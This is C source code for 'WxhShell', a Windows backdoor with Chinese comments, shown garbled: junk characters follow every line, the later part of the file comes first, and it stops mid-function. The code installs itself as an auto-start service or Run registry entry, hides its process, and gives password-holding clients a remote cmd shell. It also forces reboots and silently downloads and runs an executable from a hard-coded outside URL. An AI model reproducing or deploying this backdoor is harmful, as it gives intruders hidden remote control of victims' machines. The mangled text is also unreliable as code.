    if(Boot(SHUTDOWN)) a|ftl&uk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KaIKb=4L|  
    else { V>$( N/1  
    closesocket(wsh); owVvbC2<b(  
    ExitThread(0); H$6RDMU  
    } wNONh`b  
    break; ,'NasL8?We  
    } vwR_2u  
  // 获取shell 5<?Ah+1  
  case 's': { 337.' |ZE  
    CmdShell(wsh); ROO*/OOd  
    closesocket(wsh); ?7{U=1gb$  
    ExitThread(0); | %_C$s%  
    break; *% -<Ldv  
  } .soCU8i3  
  // 退出 }A9#3Y|F  
  case 'x': { A`c22Ls]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *miG<  
    CloseIt(wsh); D)*   
    break; [X(m[u'%  
    } 5zuwqOD*  
  // 离开 8&QST!JGSX  
  case 'q': { >Wg= Tuef  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  yCX5 5:  
    closesocket(wsh); J,a&"eOZ  
    WSACleanup(); HKN|pO3v  
    exit(1); IrwQ~z3I  
    break; -oD,F $Rb  
        } {9IRW\kn  
  } RK# 6JfC3X  
  } w7)pBsI  
cJKnB!iL5  
  // 提示信息 <J%qzt}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UG1<Xfu|  
} /%$Zm^8c  
  } 8jK=A2pTa  
1nVQYqT_  
  return; e8,_"_1 :F  
} +in)(a.  
}2 S.  
// shell模块句柄 ]aN9mT N  
int CmdShell(SOCKET sock) h*%p%t<  
{ Zy0M\-Mn  
STARTUPINFO si; ~Nh6po{  
ZeroMemory(&si,sizeof(si)); X)g X9DA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j }~?&yB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h'ik3mLH  
PROCESS_INFORMATION ProcessInfo; hzD)yf  
char cmdline[]="cmd"; G/ x6zdk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]#~J[uk  
  return 0; !G%!zNA S  
} vgW(l2,@  
'afW'w@  
// 自身启动模式 m:_#kfC&K"  
int StartFromService(void) v[CR$@Y  
{ qxRsq&_  
typedef struct \Z*:l(  
{ jAQ{H  
  DWORD ExitStatus; zK0M WyXO  
  DWORD PebBaseAddress; 92-Xz6Bo9  
  DWORD AffinityMask; $W._FAAJ#  
  DWORD BasePriority; -e_fn&2,Y  
  ULONG UniqueProcessId; Aez2n(yac  
  ULONG InheritedFromUniqueProcessId; vuQA-w7  
}   PROCESS_BASIC_INFORMATION; hB?#b`i^  
H4Bt.5O*  
PROCNTQSIP NtQueryInformationProcess; & -/J~b)"  
QPy h.9:N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DpHubqWz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H UJqB0D ?  
"jZZ>\  
  HANDLE             hProcess; a-5UG#o  
  PROCESS_BASIC_INFORMATION pbi; #y\O+\4e  
&Vj @){  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $.,PteYK  
  if(NULL == hInst ) return 0; Uo3  
>iyNZ]."\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ``xm##K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?[Yn<|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |:)Bo<8  
wXNng(M7  
  if (!NtQueryInformationProcess) return 0; )St0}?I~  
p{?duq=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fb f&bJT  
  if(!hProcess) return 0; <?7CwW  
Z@Rqm:e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /X8a3Eqp9  
mtUiO p  
  CloseHandle(hProcess); [_N1 .}e  
AA-$;s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $$AZ)#t[  
if(hProcess==NULL) return 0; ^%oH LsY9  
/OKp(u;)z  
HMODULE hMod; VnuG^)S  
char procName[255]; %+r(*Q+0$f  
unsigned long cbNeeded; ^;II@n i  
hC-uz _/3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hu-]SGb6  
hl]d99Lc  
  CloseHandle(hProcess); Dw=L]i :0v  
#kQ! GMZH  
if(strstr(procName,"services")) return 1; // 以服务启动 TjpyU:R,&|  
/{R ^J#  
  return 0; // 注册表启动 DzC`yWstP  
} q~>!_q]FE  
FC 8<D  
// 主模块 :7@[=n  
int StartWxhshell(LPSTR lpCmdLine) 8hV]t'/;  
{ uVYn,DB`  
  SOCKET wsl; :b9#e g  
BOOL val=TRUE; <B%wq>4S  
  int port=0; b'( AVA  
  struct sockaddr_in door; sta/i?n  
s-#@t  
  if(wscfg.ws_autoins) Install(); uNewWtUb(  
yCz"~c  
port=atoi(lpCmdLine); Rd(8j+Q?ps  
[KUkv  
if(port<=0) port=wscfg.ws_port; Wv>`x?W  
hGFi|9/-u  
  WSADATA data; s?<FS@k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 58?WO}  
28JVW3&)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *b;)7lj0h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2?(/$F9X,  
  door.sin_family = AF_INET; $d1ow#ROgy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xpZ@DK;  
  door.sin_port = htons(port); I N@ ~~  
UXZ3~/L5 O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )g=mv*9>  
closesocket(wsl); .0nT*LF  
return 1; `LH9@Z{  
} t:dvgRJt*  
Ob%iZ.D|3<  
  if(listen(wsl,2) == INVALID_SOCKET) { [voc_o7AI  
closesocket(wsl); S|d /?}C|e  
return 1; d% @0xsU1  
} hW~% :v  
  Wxhshell(wsl); ^PdD-tY<  
  WSACleanup(); "P.sK huo  
 [6@bsXiw  
return 0; 2SU'lh\E  
lC*xyO K  
} tL&_@PD)3  
F_u ?.6e]  
// 以NT服务方式启动 pg!mOyn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .aL%}`8l?  
{ E; yr46  
DWORD   status = 0; 2w8YtM3+"z  
  DWORD   specificError = 0xfffffff; FoIK, MdJ  
=}ZY`O*/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z=hn }QY.(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZSlK   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?:q"qwt$F  
  serviceStatus.dwWin32ExitCode     = 0; [3irr0D7l  
  serviceStatus.dwServiceSpecificExitCode = 0; Jv(E '"H  
  serviceStatus.dwCheckPoint       = 0; 5i$P$ R  
  serviceStatus.dwWaitHint       = 0; x8z6 <  
0?R$>=u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /3+E-|4s  
  if (hServiceStatusHandle==0) return; 0$XrtnM  
'Q'-7z-6  
status = GetLastError(); yR F+  
  if (status!=NO_ERROR) I9TNUZq('  
{ =PU@'OG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wV-N\5!r%H  
    serviceStatus.dwCheckPoint       = 0; ?,v@H$)3_  
    serviceStatus.dwWaitHint       = 0; X:FyNUa  
    serviceStatus.dwWin32ExitCode     = status; ;J?fK69%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^=I[uX-3ue  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r?`nc6$0|  
    return; zv1,DnkqF  
  } $IKN7  
bq7()ocA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M#o=.,  
  serviceStatus.dwCheckPoint       = 0; }zo-%#  
  serviceStatus.dwWaitHint       = 0; >iJxq6!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?h7[^sxJ  
} 8}z PDs  
'o_ RC{k2"  
// 处理NT服务事件,比如:启动、停止 EZQ!~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PC=s:`Y}R  
{ Kd#64NSi$A  
switch(fdwControl) {YzpYc1  
{ J(~xU0gd'  
case SERVICE_CONTROL_STOP: ^[HX#JJ~  
  serviceStatus.dwWin32ExitCode = 0; |bRi bB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZZL%5{ w_  
  serviceStatus.dwCheckPoint   = 0; LGy!{c  
  serviceStatus.dwWaitHint     = 0; Yv*i69"  
  { "| oW6@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (yu0iXZY  
  } p8y<:8I  
  return; +'e3YF+'  
case SERVICE_CONTROL_PAUSE: ?s0")R&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n[-d~Ce2{  
  break; B*Q.EKD8s  
case SERVICE_CONTROL_CONTINUE: I#yd/d5^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wS2N,X/Y  
  break; u<@ 55k  
case SERVICE_CONTROL_INTERROGATE: V6<Ki  
  break; !OH'pC5  
}; BD ,3JDqT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 51%<N\>/4  
} D@mqfi(x  
t/"9LMKs?  
// 标准应用程序主函数 ht)KS9Xu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WtSlD9 h  
{ [yAR%]i-7  
{XS2<!D  
// 获取操作系统版本 &kOb#\11u  
OsIsNt=GetOsVer(); avv/mEf-f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /3vj`#jD  
4p&SlJ  
  // 从命令行安装 a'@?c_y;$  
  if(strpbrk(lpCmdLine,"iI")) Install(); aG1[85:,\i  
c_2kHT  
  // 下载执行文件 RK]."m0c~#  
if(wscfg.ws_downexe) { DB1Y`l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LD5E  
  WinExec(wscfg.ws_filenam,SW_HIDE); RA62Z&W3  
} XG6UV('  
)\0c2_w>  
if(!OsIsNt) { Z Q9's  
// 如果时win9x,隐藏进程并且设置为注册表启动 )&elr,b /y  
HideProc(); Boa?Ghg  
StartWxhshell(lpCmdLine); 20uR?/|@  
} *r3u=oWb  
else -aMwC5iR@  
  if(StartFromService()) [C~{g#  
  // 以服务方式启动 jr5x!@rb  
  StartServiceCtrlDispatcher(DispatchTable); W/R-~C e  
else fm% Y*<Y"  
  // 普通方式启动 Neb%D8/Kn  
  StartWxhshell(lpCmdLine); hta$ k%2  
+hvVoBCM*  
return 0; ?9H.JR2s%  
} !NOvKC!  
Y|i!\Ae  
gs|%3k|  
cXokq  
=========================================== -1u N Z{0  
Z.0^:rVp~  
D&)gcO`\  
^coJ"[D  
iNs  
hAZ"M:f  
" :@X@8j":  
8eoDE. }  
#include <stdio.h> Vi>kK|\b  
#include <string.h> {=d\t<p*n  
#include <windows.h> 58My6(5y  
#include <winsock2.h> <BN)>NqM  
#include <winsvc.h> dTP$7nfe  
#include <urlmon.h> : XZ  
.~ W^P>t  
#pragma comment (lib, "Ws2_32.lib") p>p=nLK  
#pragma comment (lib, "urlmon.lib") iyhB;s5Rgw  
0)lG~_q  
#define MAX_USER   100 // 最大客户端连接数 !$5U\"M  
#define BUF_SOCK   200 // sock buffer Zt[1RMO  
#define KEY_BUFF   255 // 输入 buffer #/1,Cv yj  
gasl%&  
#define REBOOT     0   // 重启 "mE<r2=@  
#define SHUTDOWN   1   // 关机 Wc_Ph40C<_  
8 YBsYKC  
#define DEF_PORT   5000 // 监听端口 {/ _.]Vh  
$NWI_F4  
#define REG_LEN     16   // 注册表键长度 r).S/  
#define SVC_LEN     80   // NT服务名长度 Fx0<!_tY-  
[OsW   
// 从dll定义API \9BIRY`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]IkjZ=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~c3CyOab  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UeT"v?zP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^f1}:g  
R16" lG  
// wxhshell配置信息 M|`%4vk>  
struct WSCFG { .|{*.YE  
  int ws_port;         // 监听端口 *pv hkJ g(  
  char ws_passstr[REG_LEN]; // 口令 }qXi;u))  
  int ws_autoins;       // 安装标记, 1=yes 0=no *-Y|qS%  
  char ws_regname[REG_LEN]; // 注册表键名 BZx#@356N  
  char ws_svcname[REG_LEN]; // 服务名 i@_|18F]`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M ~!*PCd5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (F7!&]8%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J74 nAC%J^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rYq8OZLi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Kt?; y ;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '89D62\89  
Hj;j\R >2  
}; YrgwR  
G0//P .#  
// default Wxhshell configuration z0Gh |N@)  
struct WSCFG wscfg={DEF_PORT, yZ+o7?(2p  
    "xuhuanlingzhe", P*(lc:  
    1, }`  
    "Wxhshell", AC(}cMM+  
    "Wxhshell", =J?<M?ugf  
            "WxhShell Service", 4- 6'  
    "Wrsky Windows CmdShell Service", )r1Z}X(#d  
    "Please Input Your Password: ", 2&!G@5  
  1, !cE)LG  
  "http://www.wrsky.com/wxhshell.exe", F{f "xM  
  "Wxhshell.exe" T cSj `-  
    }; e[n T'e  
<<&:BK   
// 消息定义模块 Cl>'K*$F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z)7 {e"5d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9^s sT>&/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZwF_hm=/[  
char *msg_ws_ext="\n\rExit."; 1rEhL  
char *msg_ws_end="\n\rQuit."; Q:kpaMA1P  
char *msg_ws_boot="\n\rReboot..."; %r~TMU2"  
char *msg_ws_poff="\n\rShutdown..."; /5r[M=_ihr  
char *msg_ws_down="\n\rSave to "; .f&,~$e4  
I[<C)IG  
char *msg_ws_err="\n\rErr!"; o*I-~k  
char *msg_ws_ok="\n\rOK!"; {q8V  
R`>E_SY  
char ExeFile[MAX_PATH]; l=EIbh  
int nUser = 0; kRE^G*?  
HANDLE handles[MAX_USER]; UXa3>q>  
int OsIsNt; (g~&$&pa  
FJ>| l#nO  
SERVICE_STATUS       serviceStatus; -_pI:K[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m2<sVTN`^  
)X| uOg&|  
// 函数声明 {u46m  
int Install(void); -oe&1RrdVg  
int Uninstall(void); }N4=~'R  
int DownloadFile(char *sURL, SOCKET wsh); eB!0:nHN  
int Boot(int flag); WZ ~rsSZSV  
void HideProc(void); r"U$udwjg  
int GetOsVer(void); |$9k z31  
int Wxhshell(SOCKET wsl); &&(sZG w  
void TalkWithClient(void *cs); S| !U=&  
int CmdShell(SOCKET sock); g4j?E{M?  
int StartFromService(void); -@L*i|A  
int StartWxhshell(LPSTR lpCmdLine); d:=5y)  
 i)8,u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WGVvBX7#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b\VY)=U  
iu&'v  
// 数据结构和表定义 u& :-&gva  
SERVICE_TABLE_ENTRY DispatchTable[] = Y@^M U->+  
{ "o}3i!2Qr  
{wscfg.ws_svcname, NTServiceMain}, > -Jd@7-  
{NULL, NULL} tX Z5oG7  
}; vVZ@/D6w  
V!3O 1  
// 自我安装 /o![%&-l  
int Install(void) 81H04L9K 7  
{  @;d(>_n  
  char svExeFile[MAX_PATH]; aLuxCobV  
  HKEY key; aeE9dV~  
  strcpy(svExeFile,ExeFile); T3)/?f?|  
^^)D!I"cA,  
// 如果是win9x系统,修改注册表设为自启动 J0lTp /  
if(!OsIsNt) { ) <^9`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :)?w 2'O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n>Q/XQXB  
  RegCloseKey(key); eA#J7=eC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AVi w}Y J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EQz`o+  
  RegCloseKey(key); &kRkOjuk  
  return 0; SS@# $t:  
    } #ra:^9;Es:  
  } SgFyv<6>:  
} Y-@K@Zu]?  
else { B]InOlc47  
<+" Jh_N#  
// 如果是NT以上系统,安装为系统服务 xAQ=oF +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LYkW2h`JQ  
if (schSCManager!=0) }O5c.3  
{ z9YC9m)jK  
  SC_HANDLE schService = CreateService Y*B}^!k6  
  ( L&Bc-kMH  
  schSCManager, TpuN[Y  
  wscfg.ws_svcname, @B*?owba>  
  wscfg.ws_svcdisp, ,H1j&]E!  
  SERVICE_ALL_ACCESS, Zz,E4+'Rm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yo") G!BN  
  SERVICE_AUTO_START, D*DCMMp=0  
  SERVICE_ERROR_NORMAL, I%b, H`  
  svExeFile, *ukugg.  
  NULL, BRFA%FZ,  
  NULL, X9#Od9cNaC  
  NULL, 'X"@C;q  
  NULL, Mfuw y  
  NULL 92bvmP*o4  
  ); NHPpHY3^.  
  if (schService!=0) [^P25K  
  { b;Pqq@P|g  
  CloseServiceHandle(schService); H)G ^ Y1  
  CloseServiceHandle(schSCManager); ,57g_z]V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D#1'#di*t  
  strcat(svExeFile,wscfg.ws_svcname); <<@$0RW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8@|+- )t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [&j!g  
  RegCloseKey(key); =Qp~@k=2  
  return 0; | ?~-k[|  
    } |Ah26<&  
  } tB'F`HM:mq  
  CloseServiceHandle(schSCManager); ~aNK)<Fznd  
} 4[9~g=y>  
} uqnoE;57^  
IFH%R>={  
return 1; Q: [d   
} mH}/QfUlq  
mfIY7DP  
// 自我卸载 /J<?2T9G  
int Uninstall(void) x0?8AG%  
{ i_)j K  
  HKEY key; 88$G14aXEk  
1K"``EvNB  
if(!OsIsNt) { KFkKr>S :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H"tS33  
  RegDeleteValue(key,wscfg.ws_regname); 5qGRz"\p~  
  RegCloseKey(key); W> s@fN9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KtA0 8?B  
  RegDeleteValue(key,wscfg.ws_regname); w6'o<=  
  RegCloseKey(key); nMNAn}~*M  
  return 0; h$_Wh(  
  } &-470Z%/  
} !r,ZyJU  
} Jb#*QJ=  
else { "O<JVC{m  
7,d^?.~S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $C##S@  
if (schSCManager!=0) A5Qzj]{ba  
{ |g}! F-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zT6ng#  
  if (schService!=0) .1XZ9M  
  { $Ud-aRlD  
  if(DeleteService(schService)!=0) { @ZK#Y){  
  CloseServiceHandle(schService); $M@SZknm  
  CloseServiceHandle(schSCManager); fJtJ2xi  
  return 0; }"06'  
  } ZsirX~W<  
  CloseServiceHandle(schService); j/5>zS  
  } ,]w -!I  
  CloseServiceHandle(schSCManager); 5][Rvu0  
} xC9^x7%3O  
} 72GXgah  
DQDt*Uj,  
return 1; f\!*%xS;  
} p{"p<XFyO  
C eNpJ  
// 从指定url下载文件 mR,p?[P  
int DownloadFile(char *sURL, SOCKET wsh) |Vs|&0  
{ 9 %4Pt=v~d  
  HRESULT hr; L%ND?'@  
char seps[]= "/"; s<cg&`u,<M  
char *token; l!ltgj  
char *file; KFor~A# D  
char myURL[MAX_PATH]; D9B?9Qt2[  
char myFILE[MAX_PATH]; /ZlW9|  
mHE4Es0  
strcpy(myURL,sURL); J*F-tRuEw  
  token=strtok(myURL,seps); 5YUn{qtD  
  while(token!=NULL) _- H uO/  
  { LyhLPU0^q  
    file=token; (pm]U7  
  token=strtok(NULL,seps); m=k(6  
  } ;TD<\1HJT=  
v_J\yW'K  
GetCurrentDirectory(MAX_PATH,myFILE); 41>Bm*if  
strcat(myFILE, "\\"); sTU]ntoQqR  
strcat(myFILE, file); 0|9(oP/:  
  send(wsh,myFILE,strlen(myFILE),0); >P/kb fPA  
send(wsh,"...",3,0); -N(y+~wN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Ii2rEzD  
  if(hr==S_OK) XA5gosq  
return 0; J xi>1  
else i >Hh_q;'  
return 1; Pk T&zSQA  
oOy@X =cw  
} _SjS^z~  
AGQCk*dm  
// 系统电源模块 3!`Pv ?|o  
int Boot(int flag) ptQr8[FA  
{ =\e}fyuK  
  HANDLE hToken; 2w)0>Y(_  
  TOKEN_PRIVILEGES tkp; }P#%aE&-  
X0^gj>GI|  
  if(OsIsNt) { b[$%Wg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wxB?}   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {g@Wd2-J}  
    tkp.PrivilegeCount = 1; z[b,:G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z11;r]VI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aCcBmc  
if(flag==REBOOT) { Za}*6N=?*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .+]e9mV  
  return 0; *E+2E^B  
} FSoL|lH  
else { @=h%;"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) - y{*U1[  
  return 0; M7/P&d  
} p%+ 0^]v1  
  } "zc@(OA[z  
  else { N5#qox$D  
if(flag==REBOOT) { }>b4s!k,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !p >a,8w  
  return 0; L7_(KCh  
} ZD/>L/  
else { 9xP{#Qa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F\Q)l+c  
  return 0; @/l{  
} J:dF^3Y  
} #`RY KQwB  
=xQ 7:TB  
return 1; V^QKn+/  
} ( t#w@<  
9m0`;~!  
// win9x进程隐藏模块 N(vzxx^  
void HideProc(void) cR}}NF  
{ +"Ih'bb`j  
bI TOA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #HWz.Wb  
  if ( hKernel != NULL ) 7Gnslp?[U  
  { %eGxQDIXg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e &^BPzg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YN?@ S  
    FreeLibrary(hKernel); L!V`Sb  
  } 3H%R`ha  
A^q= :ofQ  
return; .{`+bT^b<2  
} qGuz`&i  
R?qVFMQ  
// 获取操作系统版本 0&=2+=[c  
int GetOsVer(void) 0*L|r Jf  
{ _s><>LH~  
  OSVERSIONINFO winfo; D@uw[;Xb5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `Gx"3ZUn  
  GetVersionEx(&winfo); 4q/E7n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fkuq'C<|Y  
  return 1; D;Fvd:  
  else >9a%"<(2#  
  return 0; oo) P(_"u  
} -}%'I ]R=  
R"6Gm67t  
// 客户端句柄模块 leiED'  
int Wxhshell(SOCKET wsl) >s1FTB-$W  
{ &JAQ:([:  
  SOCKET wsh; bv;&oc:r  
  struct sockaddr_in client; 6#T?g7\pyR  
  DWORD myID; |w- tkkS  
E"!9WF(2t5  
  while(nUser<MAX_USER) ?=jmyDXH!  
{ b5Rjn1@  
  int nSize=sizeof(client); GC66n1- X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \hdR&f5q  
  if(wsh==INVALID_SOCKET) return 1; o m`r^3,  
rtvuAFiH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ ;>,  
if(handles[nUser]==0) aQCbRS6  
  closesocket(wsh); vY *p][$  
else }U7>_b2  
  nUser++; qnW5I_]  
  } &~pj)\_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IE$x2==)  
6T< ~mn  
  return 0; @pQv}%  
} HQ7-,!XO  
daWmF  
// 关闭 socket >4ebvM 0|  
void CloseIt(SOCKET wsh) 75K~ebRr  
{ LnZ*,>1 Z  
closesocket(wsh); /4#.qq0\{c  
nUser--; F) {f{-@)  
ExitThread(0); M$FXDyr  
} }!0,(<EsV  
nf,>l0,,'  
// 客户端请求句柄 yZHQql%J O  
void TalkWithClient(void *cs) [A|W0  
{ *0i   
|O\(<n S  
  SOCKET wsh=(SOCKET)cs; /AJ ^wY  
  char pwd[SVC_LEN]; f<xF+wE  
  char cmd[KEY_BUFF]; $%;NX[>j  
char chr[1]; _E)xR  
int i,j; \9Itu(<f  
9V?MJZ@aG  
  while (nUser < MAX_USER) { VPys  
ZgtW  
if(wscfg.ws_passstr) { 4@5rR~DQq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Pzvv`f*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wC!(STu  
  //ZeroMemory(pwd,KEY_BUFF); 'gUHy1p  
      i=0; vnk"0d.  
  while(i<SVC_LEN) { p!' "hx  
YM3oqS D  
  // 设置超时 }n 6BI}n  
  fd_set FdRead; dmP*2  
  struct timeval TimeOut; u):z1b3*?  
  FD_ZERO(&FdRead); pTGq4v@6x  
  FD_SET(wsh,&FdRead); qw%4j9}  
  TimeOut.tv_sec=8; ?Y ) Qy,  
  TimeOut.tv_usec=0; < t>N(e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^>GL<1 1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <^R\N#  
8Qu7x[tK?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H4k`wWOk  
  pwd=chr[0]; PfnhE>[>cf  
  if(chr[0]==0xd || chr[0]==0xa) { >gFF>L>  
  pwd=0; _ H$ Cm  
  break; T fzad2}^  
  } zY[6Ia{L  
  i++; -5p=gO  
    } #$jAGt3^BT  
&lBfW$PZjk  
  // 如果是非法用户,关闭 socket |xQj2?_z*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TnM}|~V  
} +/\.%S/  
5tP0dQYd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `U2PlCf |  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /nb(F h|{T  
4ms hB  
while(1) { lxbbyy25  
PwF}yx kI  
  ZeroMemory(cmd,KEY_BUFF); N g'f u|  
b44H2A .  
      // 自动支持客户端 telnet标准   >P\T nb"Q\  
  j=0; FX}<F0([?  
  while(j<KEY_BUFF) { }xLwv=Ia  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *}ay  
  cmd[j]=chr[0]; "^_p>C)T  
  if(chr[0]==0xa || chr[0]==0xd) { ^%go\ C ;  
  cmd[j]=0; xhUQ.(S`r6  
  break; 8Y5* 1E*  
  } rRT9)wDa  
  j++; 4$IPz7  
    } ,"h$!k"$g  
`*}#Bks!  
  // 下载文件 CFul_qZ/e  
  if(strstr(cmd,"http://")) { htM5Nm[g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bGK&W;Myk  
  if(DownloadFile(cmd,wsh)) lG\lu'<C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J4`08,  
  else 5uDQ*nJ|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,e.y4 vnU  
  } C!qW:H  
  else { eDaVoc3  
akd~Z  
